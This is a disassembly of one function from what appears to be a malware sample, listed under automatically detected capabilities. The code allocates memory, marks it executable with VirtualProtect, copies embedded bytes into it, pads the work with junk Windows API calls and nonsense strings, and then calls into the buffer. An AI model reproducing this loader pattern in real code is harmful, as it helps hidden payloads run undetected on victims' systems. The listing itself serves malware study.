Function at 0x401642
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Read file on windows

Disassembly:
mov eax, 0x411ab8
call fcn.00411a8c
mov eax, 0x102c
call fcn.0040ddb0
mov ecx, dword [0x1a73260]
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x401723
push str.uwowuwen
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebx
push ebx
push str.jogiyapusipupi
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeMenuA]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [ebp - 0x1034]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
lea eax, [ebp - 0x434]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push ebx
push ebx
push ebx
call fcn.00403bc1
add esp, 0x10
lea ecx, [ebp - 0x28]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x28]
call fcn.004010bb
push ebx
call fcn.00403cf6
push ebx
push ebx
call fcn.00403c94
push ebx
call fcn.00403923
push ebx
call fcn.00403fbc
push ebx
call fcn.00403923
push 0x417754
call fcn.0040394d
add esp, 0x1c
lea ecx, [ebp - 0x1c]
call fcn.00401d4a
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call fcn.00401d57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401d84
mov ecx, dword [0x1a73260]
mov eax, dword [0x41a3b0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x1a73264], eax
mov dword [0x1a73260], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x30]
mov dword [0x1a731cc], eax
push ecx
push 0x40
push dword [0x1a73260]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x40175e
mov edx, dword [0x1a73260]
mov esi, ebx
test edx, edx
je 0x4017d9
mov eax, dword [0x1a73264]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1a731cc]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017d4
push ebx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0x417758
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x1034]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x834]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, dword [0x1a73260]
inc esi
cmp esi, edx
jb 0x401773
mov esi, ebx
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x40181a
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
push str.vofexugihonupigipireminu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1a73260]
inc esi
cmp esi, 0x38681
jl 0x4017db
push ecx
call fcn.004015ff
mov esi, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x40183c
call fcn.00401626
inc esi
cmp esi, 0x674db
jl 0x40182b
mov eax, dword [0x1a73260]
mov esi, ebx
cmp eax, 0x86
je 0x401894
cmp eax, 0xf
jne 0x401867
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov eax, dword [0x1a73260]
inc esi
cmp esi, 0x7b
jl 0x40184c
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x1a731cc]
mov dword [0x1a73254], eax
call eax
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]